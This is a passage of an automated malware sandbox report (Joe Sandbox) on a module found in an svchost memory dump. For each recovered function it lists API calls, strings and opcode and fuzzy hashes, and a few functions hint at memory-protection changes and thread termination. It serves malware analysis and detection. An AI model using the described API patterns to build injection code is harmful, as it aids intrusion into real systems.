Instruction Fuzzy Hash: 16418033614B80A7E760DF91E44879EB7A5F38DB88F108629DB8947B58DF39D165CB00

Function 0000022C35FD75F0 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000022C35FD7618
__scrt_acquire_startup_lock.LIBCMT ref: 0000022C35FD766A
_RTC_Initialize.LIBCMT ref: 0000022C35FD7698
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000022C35FD76BE
__scrt_release_startup_lock.LIBCMT ref: 0000022C35FD76E9

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: 70dc734f52c0c30d9cad996c985de3bab4456f3b44063fb3ca2a401298ac7b7c
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: 2381A221706241A6F754EBE9984D36D62D0EB4DBC0F78CDD59905CB79EDA3BC8418700

Function 0000022C35FD9804 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 0000022C35FD9889
GetLastError.KERNEL32 ref: 0000022C35FD9897
LoadLibraryExW.KERNEL32 ref: 0000022C35FD98C1
FreeLibrary.KERNEL32 ref: 0000022C35FD9907
GetProcAddress.KERNEL32 ref: 0000022C35FD9913

Strings

api-ms-, xrefs: 0000022C35FD98A9

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction ID: 5dea5061639ff27bae5943a52cd13d49c6365e1b15bf01cc26e914bda96b8876
Opcode Fuzzy Hash: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction Fuzzy Hash: 7B31A531312A50B1FE12DBC2A90879D63E4F74CBE4F698965ED2D87398EF3AD4458300

Function 0000022C35FD5C10 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 0000022C35FD5C4B
GetThreadContext.KERNEL32 ref: 0000022C35FD5DB5

Part of subcall function 0000022C35FD5A40: GetCurrentThreadId.KERNEL32 ref: 0000022C35FD5A44

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction ID: 7fb9af3040bf00fe047ada4b45acd8001e4473e2084e6ca843a6c259243f54f7
Opcode Fuzzy Hash: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction Fuzzy Hash: 5CD1BC36209B8891DA70DB59E49835EB7E0F78CBC4F254656EA8D87BA9CF3DC541CB00

Function 0000022C35FD23F0 Relevance: 9.1, APIs: 6, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 0000022C35FD2405
GetCurrentProcessId.KERNEL32 ref: 0000022C35FD240F

Part of subcall function 0000022C35FD19AC: OpenProcess.KERNEL32 ref: 0000022C35FD19CA
Part of subcall function 0000022C35FD19AC: IsWow64Process.KERNEL32 ref: 0000022C35FD19E0
Part of subcall function 0000022C35FD19AC: CloseHandle.KERNEL32 ref: 0000022C35FD19FB

CreateFileW.KERNEL32 ref: 0000022C35FD2468
WriteFile.KERNEL32 ref: 0000022C35FD2490
ReadFile.KERNEL32 ref: 0000022C35FD24AF
CloseHandle.KERNEL32 ref: 0000022C35FD24B8

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID:
API String ID: 2171963597-0
Opcode ID: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction ID: e0ace0e6ccc4ed094f2f7fbc4b06e266f87256174c2b9dbc8807fa55bb3bcead
Opcode Fuzzy Hash: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction Fuzzy Hash: A3213C36714B40A2EB10DB65F44C36E77A0F38DBE8F609655EA5983AA8CF3DC149CB01

Function 0000022C35FD1A14 Relevance: 9.0, APIs: 6, Instructions: 42
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32 ref: 0000022C35FD1A3A
K32GetModuleFileNameExW.KERNEL32 ref: 0000022C35FD1A58
PathFindFileNameW.SHLWAPI ref: 0000022C35FD1A67
lstrlenW.KERNEL32 ref: 0000022C35FD1A73
StrCpyW.SHLWAPI ref: 0000022C35FD1A86
CloseHandle.KERNEL32 ref: 0000022C35FD1A94

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction ID: ed2f12fb4dd7e42dd931d818c8e4073833f49bf58b031b2ca359c2b2091747c9
Opcode Fuzzy Hash: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction Fuzzy Hash: EB012D21700B81A6EB14DB92A85C76D63A1F78CFC0FA88875DE8983794DE3ED9858740

Function 0000022C35FD37AC Relevance: 9.0, APIs: 6, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 0000022C35FD37C8
GetCurrentProcess.KERNEL32 ref: 0000022C35FD37D6
VirtualProtectEx.KERNEL32 ref: 0000022C35FD37F8
GetCurrentProcess.KERNEL32 ref: 0000022C35FD3819
VirtualProtectEx.KERNEL32 ref: 0000022C35FD383A
TerminateThread.KERNEL32 ref: 0000022C35FD3849

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction ID: 61e19974478e2d6130806674d949e99039706972be188c0c1f6889b23cedb36b
Opcode Fuzzy Hash: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction Fuzzy Hash: 67111B65711740A2EB25DBA5F80D75E67A1FB4CBC5F2488A8CA49877A8EF3EC408C700

Function 0000022C35FD90F5 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000022C35FD9103
_IsNonwritableInCurrentImage.LIBCMT ref: 0000022C35FD9198
RtlUnwindEx.NTDLL ref: 0000022C35FD91E7

Strings

f, xrefs: 0000022C35FD9116
csm, xrefs: 0000022C35FD917E

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction ID: 5a48187fa4c2ef0fd75f67f3c27fd28724a35b7b53b16f7f936d81ab5f83a3d1
Opcode Fuzzy Hash: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction Fuzzy Hash: 6C516632711600AAEB14DBE5E64CB5D37E5F34CBD9F61CAA49A1A8778CEB36D841C700

Function 0000022C35FD90D8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000022C35FD9103
_IsNonwritableInCurrentImage.LIBCMT ref: 0000022C35FD9198
RtlUnwindEx.NTDLL ref: 0000022C35FD91E7

Strings

f, xrefs: 0000022C35FD9116
csm, xrefs: 0000022C35FD917E

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction ID: 84ceaaa11517f30356134d9e478efa4eae52f01f5b3dfe42eeec2fe2cbff25e6
Opcode Fuzzy Hash: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction Fuzzy Hash: D3318832210640A6EB14DFA2E94CB1D37A5F74CBC8F25CA94AE5A87799DB3AC941C704

Function 0000022C35FDA138 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000022C35FDA154
GetProcAddress.KERNEL32 ref: 0000022C35FDA16A
FreeLibrary.KERNEL32 ref: 0000022C35FDA187

Strings

mscoree.dll, xrefs: 0000022C35FDA14B
CorExitProcess, xrefs: 0000022C35FDA163

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction ID: 603632ded1f5ffb21e23954e5356375b2e56173b0e8a1e76ac8d659d6f5c2113
Opcode Fuzzy Hash: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction Fuzzy Hash: BCF05E62311B40B1EF54CBA4E88C36C23A0EB8CBC0F64A999995BC65B5CF29C488CB00

Function 0000022C35FD51B0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000022C35FD5236

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction ID: 2f3b37f98406b0aaad7083ff5334bb631cef7fdf559a45313833bb24136d0541
Opcode Fuzzy Hash: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction Fuzzy Hash: AA02C832219B8496E7A0CB95E49436EB7A1F3CD7C4F204555EA8E87BA9DF7EC444CB00

Function 0000022C35FE0860 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000022C35FE08A2
GetConsoleMode.KERNEL32 ref: 0000022C35FE0960
GetLastError.KERNEL32 ref: 0000022C35FE09EA

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction ID: 23720135c8ec87a8c42a61bb11d88d9dec8970a81b7cf5854069654e1904b177
Opcode Fuzzy Hash: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction Fuzzy Hash: A2810422710644AAFB50EFE1D8483AE27A9F74CBC8F64C996DE0AD37D5DB368442C710

Function 0000022C35FD57F0 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000022C35FD5806

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction ID: 503fbf9b552c4cbdb0a9761447e82374694fee71881e08fa87d912c71e90486e
Opcode Fuzzy Hash: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction Fuzzy Hash: F161BA36619A40D6E760DB95E44832EB7E0F38CB84F208555EA8DC7BA8DB7EC541CF01

Function 0000022C35FD30B4 Relevance: 7.6, APIs: 5, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000022C35FD30D7
RtlAllocateHeap.NTDLL ref: 0000022C35FD30EA
StrCmpNIW.SHLWAPI ref: 0000022C35FD316B
GetProcessHeap.KERNEL32 ref: 0000022C35FD31D1
HeapFree.KERNEL32 ref: 0000022C35FD31DF

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocateFree
String ID:
API String ID: 576844849-0
Opcode ID: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction ID: 21bf28e08884bd529f596020304c272f15d02910d96b452d6a217018698ea833
Opcode Fuzzy Hash: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction Fuzzy Hash: C331B922B01B56A2EB15DF96A84C76D63E0FB4C7C4F14C9649F4887B99EF39D461C700

Function 0000022C35FE1EB8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000022C35FE1EE0
_set_statfp.LIBCMT ref: 0000022C35FE1EFB
_set_statfp.LIBCMT ref: 0000022C35FE1F17
_set_statfp.LIBCMT ref: 0000022C35FE1F53

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: f7d3c6d385e7d9103a748285c0a257c1c75121a548c8b1dcf846d3696dceb435
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 6111C632B54AC021F698B1E6E49E76D9041FBAD3F4F34CFE4BA76C63D69B568C414140

Function 0000022C35FE1B9C Relevance: 7.5, APIs: 5, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0000022C35FE1BCD
GetLastError.KERNEL32 ref: 0000022C35FE1BD9
CloseHandle.KERNEL32 ref: 0000022C35FE1BF1
CreateFileW.KERNEL32 ref: 0000022C35FE1C1C
WriteConsoleW.KERNEL32 ref: 0000022C35FE1C3B

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID:
API String ID: 3230265001-0
Opcode ID: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction ID: 0de5f19bee69045ed46d793329efd1c59e1f84dd1b0c8a30f93f5b2a52cc0f2a
Opcode Fuzzy Hash: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction Fuzzy Hash: A6119021714B8096E750DB96E84C31DA2A0F78CFE4F2096A8EA5EC7B94CF39C5148740

Function 0000022C35FD3878 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000022C35FD3886
GetCurrentProcess.KERNEL32 ref: 0000022C35FD38B4
VirtualProtectEx.KERNEL32 ref: 0000022C35FD38D6
GetCurrentProcess.KERNEL32 ref: 0000022C35FD38F4
VirtualProtectEx.KERNEL32 ref: 0000022C35FD3915

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction ID: 394a88c1b4b19ea2643c561dbfe11894f74be8bb6c0befd90687466eb51f2756
Opcode Fuzzy Hash: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction Fuzzy Hash: 7011182A704B4092EB15DB91E40C36E66A2F74CBC4F548869DF8987798EE3EC5048700

Function 0000022C35FD14B4 Relevance: 6.3, APIs: 5, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000022C35FD14D5
HeapFree.KERNEL32 ref: 0000022C35FD14E4
GetProcessHeap.KERNEL32 ref: 0000022C35FD14F0
HeapFree.KERNEL32 ref: 0000022C35FD14FF
GetProcessHeap.KERNEL32 ref: 0000022C35FD152A

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 3564ee6b9255a29e7fbf3975a2ec5169b25d4d3f856322215ccabb6c7a344d4a
Instruction ID: 3aa6c4d0199847e4a30d0c5c83e3fcd6e820966fc0e0789dec75a5c565b0dd4b
Opcode Fuzzy Hash: 3564ee6b9255a29e7fbf3975a2ec5169b25d4d3f856322215ccabb6c7a344d4a
Instruction Fuzzy Hash: 97115132A18B98A6E754DBA6A84821D7760F78EBC0F1494ADDB8A43795DF3ED011C700

Function 0000022C35FD1D60 Relevance: 6.1, APIs: 4, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000022C35FD1D9B
RtlAllocateHeap.NTDLL ref: 0000022C35FD1DAA
GetProcessHeap.KERNEL32 ref: 0000022C35FD1E1E
HeapFree.KERNEL32 ref: 0000022C35FD1E2C

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocateFree
String ID:
API String ID: 576844849-0
Opcode ID: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction ID: ff077c9e98efa440e63f7b2b6868ee12be112cd78e9239ac701f7f949c2578d7
Opcode Fuzzy Hash: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction Fuzzy Hash: 86218122705BD092EB11DF99A40865EB3E0FB8CBD4F258554DE8C87B69EF7DD5428700

Function 0000022C35FD1AB8 Relevance: 6.0, APIs: 4, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000022C35FD1AD8
StrCmpNIW.SHLWAPI ref: 0000022C35FD1AF2
lstrlenW.KERNEL32 ref: 0000022C35FD1B01
StrCpyW.SHLWAPI ref: 0000022C35FD1B16

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID:
API String ID: 2719912262-0
Opcode ID: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction ID: d29cd0d6b1b33469045631537c54ef6f19df4f6ac3281e6e214a9e8ffe3a47a9
Opcode Fuzzy Hash: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction Fuzzy Hash: 08F04462304681A2EB20DBA5F49C75D6761F78CBC8F94D4B4CA8987998DE6DC648CB00

Function 0000022C35FD3200 Relevance: 6.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 0000022C35FD3222
StrCpyW.SHLWAPI ref: 0000022C35FD3232
StrCatW.SHLWAPI ref: 0000022C35FD323E
PathCombineW.SHLWAPI ref: 0000022C35FD324C

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID:
API String ID: 3422762182-0
Opcode ID: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction ID: e1705168a66879f54ab9800e9ecf52dc1ea83a0ed3280a2248e40d36f41d374c
Opcode Fuzzy Hash: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction Fuzzy Hash: EAF0A720704B80A1EA00CB93BD0D12D6261FB4CFD0F28D9B1DE9A87BA8CE2DC4418700

Function 0000022C35FD1274 Relevance: 6.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000022C35FD127A
RtlAllocateHeap.NTDLL ref: 0000022C35FD1289
GetProcessHeap.KERNEL32 ref: 0000022C35FD12A3
RtlAllocateHeap.NTDLL ref: 0000022C35FD12B4

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction ID: f1f2007e9f85af3a7473ca5ba8d0d1fde5f7086c5943369d05217c98a85e3f82
Opcode Fuzzy Hash: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction Fuzzy Hash: 8AE03971B1260096E704CBA2D80C35936E1EB8DB81F58D468C90947390DF7EA499C740

Function 0000022C35FE0604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000022C35FE071B
GetLastError.KERNEL32 ref: 0000022C35FE073D

Strings

U, xrefs: 0000022C35FE06C7

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction ID: 67d9f9b1627da15241326aae49e02a55efa09ccad57ad98125a81999010a1272
Opcode Fuzzy Hash: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction Fuzzy Hash: 1F41A372315A40A2EB20DF65E44839E67A5F78C7C4F958825EE8DC7798DB3DC541CB40

Function 0000022C35FDD6C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000022C35FDD6F9
LCMapStringW.KERNEL32 ref: 0000022C35FDD781

Strings

LCMapStringEx, xrefs: 0000022C35FDD6DC, 0000022C35FDD6ED

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction ID: 03a05765fcb56aa30a1d372a0990fa9e05dfc3b575feab2092df95a893c65778
Opcode Fuzzy Hash: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction Fuzzy Hash: 38110836708B8096D760CB56B84469AB7A4F7CDBD0F64856AEE8D83B59DF38C4508B40

Function 0000022C35FD94A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 0000022C35FD94E8
RaiseException.KERNEL32 ref: 0000022C35FD952E

Strings

csm, xrefs: 0000022C35FD951B

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction ID: fd862f5bba728ec72651f731524fba5631a3cbedd5ff776d1671d95ba8b82541
Opcode Fuzzy Hash: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction Fuzzy Hash: EE113A32208B8092EB608B55E54835D77E0F78CBD8F288660DE8D47B68DF3AC951CB00

Function 0000022C35FDD65C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000022C35FDD68D
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 0000022C35FDD6A7

Strings

InitializeCriticalSectionEx, xrefs: 0000022C35FDD681

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction ID: e4005fbf42fe5d24a2d9f2fe0abb69fb39766d40ca5a14777f08c0fe808b5837
